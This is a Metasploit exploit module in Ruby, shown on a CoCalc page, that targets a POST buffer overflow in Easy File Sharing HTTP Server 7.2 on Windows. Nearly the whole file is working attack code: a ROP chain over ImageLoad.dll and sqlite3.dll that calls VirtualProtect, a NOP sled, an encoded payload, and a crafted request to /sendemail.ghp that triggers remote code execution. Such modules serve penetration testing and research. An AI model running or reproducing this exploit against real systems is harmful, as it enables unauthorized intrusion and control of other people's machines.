CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = NormalRanking
8

9
  include Msf::Exploit::Remote::Tcp
10
  #include Msf::Exploit::Remote::HttpClient
11

12
  def initialize(info = {})
13
    super(update_info(info,
14
      'Name'           => 'Easy File Sharing HTTP Server 7.2 POST Buffer Overflow',
15
      'Description'    => %q{
16
        This module exploits a POST buffer overflow in the Easy File Sharing FTP Server 7.2 software.
17
      },
18
      'Author'         =>
19
        [
20
          'bl4ck h4ck3r', #POC
21
          'Marco Rivoli <marco.rivoli.nvh[at]gmail.com>' #Metasploit
22
        ],
23
      'License'        => MSF_LICENSE,
24
      'References'     =>
25
        [
26
          [ 'EDB', '42186' ],
27
        ],
28
      'Privileged'     => true,
29
      'Payload'        =>
30
        {
31
          'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
32
        },
33
      'Platform'       => 'win',
34
      'Targets'        =>
35
        [
36
          [ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x1002280a } ],
37
        ],
38
      'DefaultOptions' => {
39
          'RPORT' => 80,
40
          'EXITFUNC' => 'thread',
41
          'ENCODER' => 'x86/alpha_mixed'
42
        },
43
      'DisclosureDate' => '2017-06-12',
44
      'DefaultTarget'  => 0))
45
  end
46

47
  def create_rop_chain
48
    # rop chain generated with mona.py - www.corelan.be
49
    rop_gadgets = [
50
        # 0x00000000,  # [-] Unable to find gadget to put 00000201 into ebx
51
        0x10015442,  # POP EAX # RETN [ImageLoad.dll]
52
        0xFFFFFDFE,  # -202
53
        0x100231d1,  # NEG EAX # RETN [ImageLoad.dll]
54
        0x1001da09,  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+C] # INC DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]|   {PAGE_EXECUTE_READ}
55
        0x1001a858,  # RETN (ROP NOP) [ImageLoad.dll]
56
        0x1001a858,  # RETN (ROP NOP) [ImageLoad.dll]
57
        0x10015442,  # POP EAX # RETN [ImageLoad.dll]
58
        0x1004de84,  # &Writable location [ImageLoad.dll]
59
        0x10015442,  # POP EAX # RETN [ImageLoad.dll]
60
        0x61c832d0,  # ptr to &VirtualProtect() [IAT sqlite3.dll]
61
        0x1002248c,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]
62
        0x61c0a798,  # XCHG EAX,EDI # RETN [sqlite3.dll]
63
        0x1001d626,  # XOR ESI,ESI # RETN [ImageLoad.dll]
64
        0x10021a3e,  # ADD ESI,EDI # RETN 0x00 [ImageLoad.dll]
65
        0x100218f9,  # POP EBP # RETN [ImageLoad.dll]
66
        0x61c24169,  # & push esp # ret  [sqlite3.dll]
67
        0x10022c4c,  # XOR EDX,EDX # RETN [ImageLoad.dll]
68
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
69
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
70
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
71
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
72
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
73
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
74
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
75
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
76
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
77
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
78
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
79
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
80
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
81
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
82
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
83
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
84
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
85
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
86
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
87
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
88
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
89
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
90
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
91
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
92
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
93
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
94
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
95
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
96
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
97
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
98
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
99
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
100
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
101
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
102
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
103
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
104
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
105
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
106
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
107
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
108
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
109
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
110
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
111
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
112
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
113
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
114
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
115
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
116
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
117
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
118
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
119
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
120
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
121
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
122
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
123
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
124
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
125
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
126
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
127
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
128
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
129
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
130
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
131
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
132
        0x1001bd98,  # POP ECX # RETN [ImageLoad.dll]
133
        0x1004de84,  # &Writable location [ImageLoad.dll]
134
        0x61c373a4,  # POP EDI # RETN [sqlite3.dll]
135
        0x1001a858,  # RETN (ROP NOP) [ImageLoad.dll]
136
        0x10015442,  # POP EAX # RETN [ImageLoad.dll]
137
        0x90909090,  # nop
138
        0x100240c2,  # PUSHAD # RETN [ImageLoad.dll]
139
    ].flatten.pack('V*')
140
    return rop_gadgets
141
  end
142

143
  def exploit
144
    sploit = rand_text_alpha_upper(2278)
145
    rop_chain = create_rop_chain
146
    sploit << rop_chain
147
    sploit << "\x90" * 200
148
    sploit << payload.encoded
149
    sploit << rand_text_alpha_upper(1794 - 200 - payload.encoded.length - rop_chain.length)
150
    sploit << [target.ret].pack('V')
151

152
    request = "POST /sendemail.ghp HTTP/1.1\r\n\r\nEmail=#{sploit}&getPassword=Get+Password"
153
    connect
154
    sock.put(request)
155
    handler
156
    disconnect
157
  end
158
end
159

160